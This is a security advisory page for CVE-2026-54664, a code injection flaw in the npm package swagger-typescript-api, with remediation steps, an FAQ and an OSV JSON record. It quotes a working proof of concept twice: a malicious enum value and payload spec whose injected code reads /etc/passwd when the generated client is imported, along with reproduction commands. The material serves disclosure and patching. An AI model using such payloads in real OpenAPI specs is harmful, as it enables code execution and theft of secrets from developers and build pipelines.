CVE-2026-54664: Swagger typescript api Swagger-typescript-api Vulnerable To Code Injection Vulnerability

HIGH
Advisory Identifier: GHSA-5f94-x226-ccpm
CVSS 8.3
CWE-94 CWE-1336 CWE-74
Published
Advisory Summary

CVE-2026-54664 is a HIGH (CVSS 8.3) swagger-typescript-api vulnerable to code injection vulnerability (CWE-94: Improper Control of Generation of Code ('Code Injection')) affecting Swagger typescript api libraries in the npm ecosystem. The issue involves swagger-typescript-api vulnerable to code injection via unescaped enum string values. Remediation is available by upgrading affected packages to version 13.12.2.

CVE-2026-54664 at a Glance

CVE Identifier CVE-2026-54664
GHSA Identifier GHSA-5f94-x226-ccpm
Severity HIGH
CVSS v3.1 Base Score 8.3
CWE Classification CWE-94: Improper Control of Generation of Code ('Code Injection')
Affected Product Swagger typescript api
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 8.3

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-54664

To remediate this vulnerability, upgrade all affected Swagger typescript api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

swagger-typescript-api fixed: 13.12.2
npm install swagger-typescript-api@13.12.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls swagger-typescript-api

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-54664, inspect your project dependencies using npm:

npm ls swagger-typescript-api

Analyze the terminal output to locate any version of Swagger typescript api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 13.12.2), your application is affected.

Note: The npm ls swagger-typescript-api command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-94: Improper Control of Generation of Code ('Code Injection'), where the product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. In Swagger typescript api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `swagger-typescript-api` interpolates `components.schemas.*.enum[i]` string values into the body of generated TypeScript `enum` declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at **module load** the first time the generated client is imported. The trigger requires no instantiation and no method call — only an `import` of the generated module. The attacker controls the OpenAPI spec (remote `--url`, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges — read any file the importer can read, write any file, exfiltrate secrets, etc. ### Details The root cause is `Ts.StringValue` in `src/configuration.ts:250`: ```ts StringValue: (content: unknown) => `"${content}"`, ``` It wraps a value in double quotes with **zero escaping** — no handling of `"`, `\`, newlines, or anything else. The codebase's only escape function (`escapeJSDocContent` in `src/schema-parser/schema-formatters.ts:127`) only replaces `*/` and is never applied to this path. Enum string values reach `Ts.StringValue` at `src/schema-parser/base-schema-parsers/enum.ts:100` and `:116`: ```ts return this.config.Ts.StringValue(value); // ... value: this.config.Ts.StringValue(enumName), ``` The result is interpolated raw into the enum body in `templates/base/enum-data-contract.ejs` (default `enumStyle: "enum"` branch, lines 24-31): ```ejs export enum <%~ name %> { <%~ _.map($content, ({ key, value, description }) => { ... return [ formattedDescription && `/** ${formattedDescription} */`, `${key} = ${value}` ].filter(Boolean).join("\n"); }).join(",\n") %> } ``` Where `${value}` is the result of `Ts.StringValue` — raw `"${content}"`. An attacker-controlled enum value containing a `"` closes the string and exposes the surrounding code position to injection. A `;}` sequence terminates the enum body mid-stream. A `{` opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing `//` consumes the closing `"` that `Ts.StringValue` still appends, and the template's own closing `}` of the enum becomes the closing `}` of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare `await import('./generated.js')`. The same `Ts.StringValue` function is also called from `src/schema-parser/schema-utils.ts:215,406`, `src/schema-parser/base-schema-parsers/object.ts:47`, and `src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195`. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime — they are safe **by accident of context**, not by escaping. A fix that hardens `Ts.StringValue` itself protects those sites too as defense in depth. ### PoC Self-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`. **Malicious enum value** (literal string, JSON-encoded in the spec below): ``` blue";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();// ``` **Minimal payload spec:** ```json { "openapi": "3.0.0", "info": { "title": "EnumPayloadAPI", "version": "1.0.0" }, "components": { "schemas": { "Color": { "type": "string", "enum": [ "red", "blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//" ] } } }, "paths": { "/ping": { "get": { "operationId": "ping", "responses": { "200": { "description": "OK", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } } } } } } } } ``` **Steps:** ```bash npm install swagger-typescript-api@13.12.1 esbuild node -e "import('swagger-typescript-api').then(m => m.generateApi({ name: 'Api.ts', output: process.cwd() + '/out', input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch' }))" npx esbuild out/Api.ts --bundle --format=esm --platform=node \ --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs rm -f /tmp/sta_canary node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));" ls -la /tmp/sta_canary && cat /tmp/sta_canary ``` **Generated `out/Api.ts` (enum block — payload):** ```ts export enum Color { Red = "red", BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = "blue";} {(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//" } ``` The `;}` closes the enum body. The `{...}` after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly. **Result:** after bare `import` of the bundle, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`"enum": ["red", "blue"]`) generates a clean enum and writes no canary. ### Impact **Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336). **Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely. Concrete scenarios: - `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec. - A CI/CD pipeline regenerating clients from a vendor / partner spec on each build. - A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs. - Any project pinned to a spec file that a contributor can modify via PR — the spec change is itself the exploit. **Lifecycle:** the bare-block IIFE fires at **module load**. A consumer does not need to instantiate `HttpClient`, does not need to call any API method, does not need to use the enum value — they only need to `import` the generated module (or anything that transitively imports it, e.g. the `data-contracts.ts` file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package. **Privilege:** the IIFE runs with the full privileges of the importing process — read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc. **Suggested fix:** harden `Ts.StringValue` in `src/configuration.ts:250` to produce a properly-escaped JavaScript string literal — escape at minimum `"`, `\`, `\n`, `\r`, `\t`, `\b`, `\f`, `\v`, `\0`, and the line/paragraph separators `` / ``. `JSON.stringify` on the content is a one-line acceptable implementation. This single change also protects every other call site of `Ts.StringValue` (currently safe only by accident of landing in type-level positions). Submitted by: Hamza Haroon (thegr1ffyn)

CVE-2026-54664 Affected Swagger typescript api Versions

1 component(s)
Fixed Versions:
13.12.2
Product / Package Ecosystem Affected Versions Fixed Version
swagger-typescript-api
npm
< 13.12.2
13.12.2

References

Frequently Asked Questions

What is CVE-2026-54664?
CVE-2026-54664 is a security vulnerability in Swagger typescript api involving swagger-typescript-api vulnerable to code injection via unescaped enum string values under CWE-94: Improper Control of Generation of Code ('Code Injection').
Which Swagger typescript api versions are affected?
Affected versions include releases prior to 13.12.2 across affected packages: swagger-typescript-api.
What version fixes CVE-2026-54664?
Upgrading to 13.12.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is swagger-typescript-api affected?
Yes, swagger-typescript-api is affected in releases prior to 13.12.2. Upgrade your dependency to 13.12.2 or later.
What is the CVSS score of CVE-2026-54664?
CVE-2026-54664 has a CVSS v3.1 base score of 8.3 (HIGH) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-54664?
CVE-2026-54664 is classified under CWE-94: Improper Control of Generation of Code ('Code Injection') (The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.).
How can I check npm dependencies for CVE-2026-54664?
Run the dependency tree command: 'npm ls swagger-typescript-api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5f94-x226-ccpm",
  "modified" : "2026-07-29T14:33:01Z",
  "published" : "2026-07-29T14:33:00Z",
  "aliases" : [ "CVE-2026-54664" ],
  "summary" : "swagger-typescript-api vulnerable to code injection via unescaped enum string values",
  "details" : "### Summary\n\n`swagger-typescript-api` interpolates `components.schemas.*.enum[i]` string values into the body of generated TypeScript `enum` declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at **module load** the first time the generated client is imported. The trigger requires no instantiation and no method call — only an `import` of the generated module. The attacker controls the OpenAPI spec (remote `--url`, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges — read any file the importer can read, write any file, exfiltrate secrets, etc.\n\n### Details\n\nThe root cause is `Ts.StringValue` in `src/configuration.ts:250`:\n\n```ts\nStringValue: (content: unknown) => `\"${content}\"`,\n```\n\nIt wraps a value in double quotes with **zero escaping** — no handling of `\"`, `\\`, newlines, or anything else. The codebase's only escape function (`escapeJSDocContent` in `src/schema-parser/schema-formatters.ts:127`) only replaces `*/` and is never applied to this path.\n\nEnum string values reach `Ts.StringValue` at `src/schema-parser/base-schema-parsers/enum.ts:100` and `:116`:\n\n```ts\nreturn this.config.Ts.StringValue(value);\n// ...\nvalue: this.config.Ts.StringValue(enumName),\n```\n\nThe result is interpolated raw into the enum body in `templates/base/enum-data-contract.ejs` (default `enumStyle: \"enum\"` branch, lines 24-31):\n\n```ejs\nexport enum <%~ name %> {\n  <%~ _.map($content, ({ key, value, description }) => {\n    ...\n    return [\n      formattedDescription && `/** ${formattedDescription} */`,\n      `${key} = ${value}`\n    ].filter(Boolean).join(\"\\n\");\n  }).join(\",\\n\") %>\n}\n```\n\nWhere `${value}` is the result of `Ts.StringValue` — raw `\"${content}\"`. An attacker-controlled enum value containing a `\"` closes the string and exposes the surrounding code position to injection.\n\nA `;}` sequence terminates the enum body mid-stream. A `{` opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing `//` consumes the closing `\"` that `Ts.StringValue` still appends, and the template's own closing `}` of the enum becomes the closing `}` of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare `await import('./generated.js')`.\n\nThe same `Ts.StringValue` function is also called from `src/schema-parser/schema-utils.ts:215,406`, `src/schema-parser/base-schema-parsers/object.ts:47`, and `src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195`. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime — they are safe **by accident of context**, not by escaping. A fix that hardens `Ts.StringValue` itself protects those sites too as defense in depth.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious enum value** (literal string, JSON-encoded in the spec below):\n\n```\nblue\";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"EnumPayloadAPI\", \"version\": \"1.0.0\" },\n  \"components\": {\n    \"schemas\": {\n      \"Color\": {\n        \"type\": \"string\",\n        \"enum\": [\n          \"red\",\n          \"blue\\\";}\\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//\"\n        ]\n      }\n    }\n  },\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": { \"application/json\": { \"schema\": { \"$ref\": \"#/components/schemas/Color\" } } }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import('swagger-typescript-api').then(m => m.generateApi({\n  name: 'Api.ts', output: process.cwd() + '/out',\n  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));\"\nls -la /tmp/sta_canary && cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (enum block — payload):**\n\n```ts\n    export enum Color {\n  Red = \"red\",\n  BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = \"blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//\"\n }\n```\n\nThe `;}` closes the enum body. The `{...}` after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.\n\n**Result:** after bare `import` of the bundle, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`\"enum\": [\"red\", \"blue\"]`) generates a clean enum and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely. Concrete scenarios:\n\n- `sta generate --url https://attacker.example/openapi.json` — a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR — the spec change is itself the exploit.\n\n**Lifecycle:** the bare-block IIFE fires at **module load**. A consumer does not need to instantiate `HttpClient`, does not need to call any API method, does not need to use the enum value — they only need to `import` the generated module (or anything that transitively imports it, e.g. the `data-contracts.ts` file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process — read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.\n\n**Suggested fix:** harden `Ts.StringValue` in `src/configuration.ts:250` to produce a properly-escaped JavaScript string literal — escape at minimum `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators `` / ``. `JSON.stringify` on the content is a one-line acceptable implementation. This single change also protects every other call site of `Ts.StringValue` (currently safe only by accident of landing in type-level positions).\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "swagger-typescript-api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "13.12.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 13.12.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-5f94-x226-ccpm"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/acacode/swagger-typescript-api/pull/1779"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/acacode/swagger-typescript-api"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1336", "CWE-74", "CWE-94" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-29T14:33:00Z",
    "nvd_published_at" : null
  }
}